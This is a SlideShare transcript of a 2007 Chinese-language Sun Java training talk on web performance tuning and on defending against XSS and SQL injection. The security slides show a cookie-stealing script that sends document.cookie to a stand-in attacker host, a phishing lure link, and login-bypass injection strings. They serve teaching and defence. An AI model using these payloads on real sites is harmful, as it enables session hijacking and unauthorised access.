Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Java Web 程式之效能技巧與安全防護

2,447 views

Published on

2007 Java Certification Day

Published in: Technology
  • Be the first to comment

Java Web 程式之效能技巧與安全防護

  1. 1. 2007Java Certification DayJava Web 程式之效能技巧與安全防護林信良教育訓練講師暨技術顧問昇陽電腦 1
  2. 2. Agenda1 – Web 效能概觀2 – 效能量測工具3 – 程式碼分析4 - Web 安全概觀5 – 跨網站指令稿攻擊(Cross-site scripting)6 – 隱碼攻擊(SQL Injection) 2
  3. 3. Web 效能概觀• 所有程式都受到三種系統限制 > CPU速度 > 記憶體 > 輸出/輸入Footnote position, 12 pts. Sun Confidential: Internal Only 3
  4. 4. CPU-bound類型的程式• 著重在提昇程式效率的演算法 Sun Confidential: Internal Only 4
  5. 5. 記憶體• Java 有垃圾收集 > 可以沒有顧忌的配置物件? > 系統中有太多短命的物件?• 大型物件浪費記憶體 > 建立物件、垃圾收集 Sun Confidential: Internal Only 5
  6. 6. 輸入/輸出• 輸出輸入絕對會拖慢程式> 磁碟存取(檔案讀寫、日誌…)> 資料庫存取(增、刪、查、找…)> 網路存取(DNS反查…) Sun Confidential: Internal Only 6
  7. 7. 從1到100• 撰寫一個程式,可在文字模式上顯示HOW DO YOU DOFootnote position, 12 pts. Sun Confidential: Internal Only 7
  8. 8. How do you dofor(int i = 1; i < 100; i++) { System.out.print(i + "+");}System.out.println(100);• 在迴圈中經常犯的兩種錯誤 > 非必要的輸出/輸入 > 非必要的建構物件 Sun Confidential: Internal Only 8
  9. 9. How do you do• 改進了輸出String output = "";for(int i = 1; i < 100; i++) { output = output + i + "+";} 一次 IOoutput += 100;System.out.println(output); Sun Confidential: Internal Only 9
  10. 10. How do you do• 物件的重用(一) StringBuffer output = new StringBuffer(); for(int i = 1; i < 100; i++) { output.append(i); output.append("+"); } output.append(100); System.out.println(output); 重用物件 Sun Confidential: Internal Only 10
  11. 11. How do you do• 物件的重用(二) StringBuffer output = new StringBuffer(300); for(int i = 1; i < 100; i++) { output.append(i); output.append("+"); } output.append(100); System.out.println(output); 預設16字元 Sun Confidential: Internal Only 11
  12. 12. How do you do• 執行緒議題 StringBuilder output = new StringBuilder(300); for(int i = 1; i < 100; i++) { output.append(i); output.append("+"); } output.append(100); System.out.println(output); JDK 5.0以上 Sun Confidential: Internal Only 12
  13. 13. 效能量測工具• 觀察GC -verbosegc• 程式執行效率 -Xrunhprof• JDK 5.0之後的工具 jconsole• Profiler > NetBeans Profiler Sun Confidential: Internal Only 13
  14. 14. 觀察GC• 啟動JVM時的選項,可觀察 > 物件所佔據的時間與空間 > 回收時所釋放的空間C:>java -verbosegc -jar "C:Program FilesJavajdk1.6.0_01demojfcNotepadNotePad.jar" Sun Confidential: Internal Only 14
  15. 15. 觀察GC Sun Confidential: Internal Only 15
  16. 16. 觀察GC• C:>java -verbosegc -XX:+PrintGCDetails-jar "C:Program FilesJavajdk1.6.0_01demojfcNotepadNotePad.jar" Sun Confidential: Internal Only 16
  17. 17. 觀察GC• Heap區是分Generation管理的• 針對不同的Generation採不同的GC演算法 Sun Confidential: Internal Only 17
  18. 18. 觀察GC• 預設的JVM假設物件是infant mortality > 在建構之後,很快就會成為垃圾 > 例如Iterator物件• 物件一開始是分配在Eden > 多數的物件成為垃圾 > 填滿時引發minor collection > 在當中存活的物件被複製到Tenured generation• Tenured generation會使用major collection > 通常比較慢,因為包括所有的物件 Sun Confidential: Internal Only 18
  19. 19. 觀察GC• GC運行時,應用程式不作任何事 > 呼叫System.gc() > Heap區太小,預設值都很小 > 頻繁的建構、釋放物件• 最基本的是調整Heap分配 > Xms > Xmx > Xmn Sun Confidential: Internal Only 19
  20. 20. 觀察GC• 預設值通常不適用大型主機 > 初始heap區通常很小,要經過多次major collection > 最大heap區通常也不適用• 簡單的設定 > Server端JVM最好將-Xms和-Xmx設為相同值 > 最好-Xmn值约等於-Xmx的1/3 > 如果每次GC後,heap的剩餘空間是總空間的 50%,表示Heap處於健康狀態 > Server端Java程式每次GC後最好能有65%剩餘 空間 Sun Confidential: Internal Only 20
  21. 21. 程式執行效率• 定期對call stack進行取樣 > 得知目前正在stack頂端的方法 > 可計算哪個部份花費最多執行時間• java -Xrunhprof:help > java -Xrunhprof:cpu=samples > java -Xrunhprof:cpu=times Sun Confidential: Internal Only 21
  22. 22. 程式執行效率• java -Xrunhprof:cpu=samples,depth=6 TestHprof• java.hprof.txtCPU SAMPLES BEGIN (total = 109) Thu Mar 22 13:54:45 2007rank self accum count trace method 1 21.10% 21.10% 23 300041 java.lang.AbstractStringBuilder.expandCapacity 2 17.43% 38.53% 19 300052 java.lang.AbstractStringBuilder.expandCapacity 3 12.84% 51.38% 14 300047 java.lang.AbstractStringBuilder.expandCapacity 4 6.42% 57.80% 7 300046 java.lang.AbstractStringBuilder.append 5 5.50% 63.30% 6 300050 java.lang.String.<init> 6 5.50% 68.81% 6 300053 java.lang.String.<init> 7 3.67% 72.48% 4 300048 java.lang.AbstractStringBuilder.append 8 3.67% 76.15% 4 300045 java.lang.String.<init> Sun Confidential: Internal Only 22
  23. 23. TRACE 300041: (thread=200001) java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99) java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393) java.lang.StringBuilder.append(StringBuilder.java:120) TestHprof.addToCat(TestHprof.java:15) TestHprof.makeString(TestHprof.java:10) TestHprof.main(TestHprof.java:54)TRACE 300052: (thread=200001) java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99) java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393) java.lang.StringBuilder.append(StringBuilder.java:120) TestHprof.makeStringWithLocal(TestHprof.java:28) TestHprof.main(TestHprof.java:56)TRACE 300047: (thread=200001) java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99) java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393) java.lang.StringBuilder.append(StringBuilder.java:120) TestHprof.makeStringInline(TestHprof.java:21) TestHprof.main(TestHprof.java:55) Sun Confidential: Internal Only 23
  24. 24. jconsole• JDK 5.0之後 Sun Confidential: Internal Only 24
  25. 25. jconsole Sun Confidential: Internal Only 25
  26. 26. jconsole Sun Confidential: Internal Only 26
  27. 27. Profiler• NetBeans Profiler > http://www.netbeans.org/products/profiler/ > http://www.netbeans.org/kb/55/profiler-tutorial.html Sun Confidential: Internal Only 27
  28. 28. 效能分析 Sun Confidential: Internal Only 28
  29. 29. 選擇分析方法 Sun Confidential: Internal Only 29
  30. 30. 過濾器(Filter) Sun Confidential: Internal Only 30
  31. 31. 過濾器(Filter) Sun Confidential: Internal Only 31
  32. 32. 分析呼叫堆疊與取樣 Sun Confidential: Internal Only 32
  33. 33. 程式碼分析• LocalVariableCouldBeFinal > 區域變數只被設值一次時應宣告為 final• MethodArgumentCouldBeFinal > 方法的參數如果不會被設值則應宣告為 final• AvoidInstantiatingObjectsInLoops > 偵測是否在迴圈中建立新的物件實體• UseArrayListInsteadOfVector > 建議以 ArrayList 取代 Vector Sun Confidential: Internal Only 33
  34. 34. 程式碼分析• SimplifyStartsWith > 當字串字面值的長度為 1 時,建議改以 String.charAt(0) 代 替 String.startsWith 以增進效能• UseStringBufferForStringAppends > 建議字串結合以 StringBuffer 取代• UseArraysAsList > 建議用Arrays.asList 由物件陣列來轉換成 List 而不是以迴 圈的方式建立 List• AvoidArrayLoops > 以 System.arrayCopy 取代迴圈的方式複製陣列• UnnecessaryWrapperObjectCreation > 建立移除不必要的外覆物件,應直接傳遞原始物件較佳 Sun Confidential: Internal Only 34
  35. 35. 程式碼分析• http://pmd.sourceforge.net/• PMD scans Java source code and looks for potential problems like: > Possible bugs - empty try/catch/finally/switch statements > Dead code - unused local variables, parameters and private methods > Suboptimal code - wasteful String/StringBuffer usage > Overcomplicated expressions - unnecessary if statements, for loops that could be while loops > Duplicate code - copied/pasted code means copied/pasted bugs Sun Confidential: Internal Only 35
  36. 36. 程式碼分析 Sun Confidential: Internal Only 36
  37. 37. 程式碼分析 Sun Confidential: Internal Only 37
  38. 38. Web 安全概觀• 研究:91%的網站都有漏洞 > Cross Site Scripting > SQL Injection > … > Improper Error Handling Sun Confidential: Internal Only 38
  39. 39. 跨網站指令稿攻擊• Cross-site scripting(XSS)• 會話劫奪(Session hijacking)• 釣魚(Phishing)• 特徵 > 使用者輸入的資料沒有過濾 > 網站直接回送使用者輸出的資料 Sun Confidential: Internal Only 39
  40. 40. XSS:Session hijacking• 例如搜尋功能回送使用者輸入的查詢字串 Could not find any documents including ‘foo’ Sun Confidential: Internal Only 40
  41. 41. XSS:Session hijacking Search <b>foo</b> Could not find any documents including ‘<b>foo</b>’ Could not find any documents including ‘foo’ Sun Confidential: Internal Only 41
  42. 42. XSS:Session hijacking<script language=‘javascript’>alert(document.cookie)</script> Could not find any documents including ‘<script language=‘javascript’>alert(document.cookie)</script>’ Sun Confidential: Internal Only 42
  43. 43. XSS:Session hijacking 入侵 www.hahaorz.com http://www.xssorz.com/search?query=foo www.xssorz.com Sun Confidential: Internal Only 43
  44. 44. XSS:Session hijacking 入侵 www.hahaorz.com http://www.xssorz.com/search?query=foo<scriptlanguage=javascript>document.location="http://www.hahaorz.com/foo" +document.cookie</script> www.xssorz.com Sun Confidential: Internal Only 44
  45. 45. XSS:Session hijacking 入侵 www.hahaorz.com http://www.xssorz.com/search?query=foo%3Cscript+language%3D%27javascript%27%3Edocument.cookies%3C%2Fscript%3E www.xssorz.com Sun Confidential: Internal Only 45
  46. 46. XSS:Session hijacking 入侵 www.hahaorz.comhttp://www.xssorz.com/search?query%3Cscript+language%3D%27javascript%27%3Edocument.cookies%3C%2Fscript%3E www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 46
  47. 47. XSS:Session hijacking 入侵 www.hahaorz.com<a href =http://www.xssorz.com/search?query%3Cscript+language%3D%27javascript%27%3Edocument.cookies%3C%2Fscript%3E>可以找到很多美女圖^o^</a> www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 47
  48. 48. XSS:Session hijacking 入侵 www.hahaorz.com 可以找到很多猛男圖^o^ www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 48
  49. 49. XSS:Session hijacking 入侵 www.hahaorz.com 可以找到很多猛男圖^o^ JSESSIONID=0146B416F… www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 49
  50. 50. XSS:Phishing <script language=javascript>document.location="http://www.svn.com/foo" +document.cookie</script> 留言版、討論區 http://java.sun.com/forum Sun Confidential: Internal Only 50
  51. 51. XSS:Phishing <script language=javascript>document.location="http://www.svn.com/foo" +document.cookie</script> 留言版、討論區 http://java.svn.com/forum http://java.svn.com/forum Sun Confidential: Internal Only 51
  52. 52. XSS• 過濾請求資料 > <  &lt; > >  &gt; > <script> Sun Confidential: Internal Only 52
  53. 53. 隱碼攻擊• SQL Injection名稱: 密碼:Statement statement = connection.createStatement();String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”;ResultSet resultSet = statement.executeQuery(queryString); “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;” Sun Confidential: Internal Only 53
  54. 54. SQL Injection名稱: caterpillar 密碼: 123456Statement statement = connection.createStatement();String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”;ResultSet resultSet = statement.executeQuery(queryString);“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ ANDPASSWORD=‘123456’; Sun Confidential: Internal Only 54
  55. 55. SQL Injection名稱: caterpillar 密碼: ‘ OR ‘1’=‘1Statement statement = connection.createStatement();String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”;ResultSet resultSet = statement.executeQuery(queryString);“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ ANDPASSWORD=‘‘ OR ‘1’=‘1’; 總是為true Sun Confidential: Internal Only 55
  56. 56. SQL Injection名稱: caterpillar’;# 密碼:Statement statement = connection.createStatement();String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”;ResultSet resultSet = statement.executeQuery(queryString);“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’;# ANDPASSWORD=‘‘ OR ‘’; 註解符號 Sun Confidential: Internal Only 56
  57. 57. SQL Injection• 使用PreparedStatement PreparedStatement stmt = conn.prepareStatement( “SELECT * FROM USER_TABLE WHERE USERNAME=? AND PASSWORD=?");• 過濾請求資料 > 單引號 ' > 雙引號  &quot; Sun Confidential: Internal Only 57
  58. 58. 自動檢測安全工具• 在開發程式的過程中帶入安全觀念與工具> 在程式撰寫階段應用安全掃描工具> 在測試階段實行滲透(permeation)測試> 對已上線的產品進行補強 Sun Confidential: Internal Only 58
  59. 59. 自動檢測安全工具• Watchfire Web Appscan• Acunetrix• Fortify Sun Confidential: Internal Only 59
  60. 60. Thanks林信良教育訓練講師暨技術顧問昇陽電腦 60

×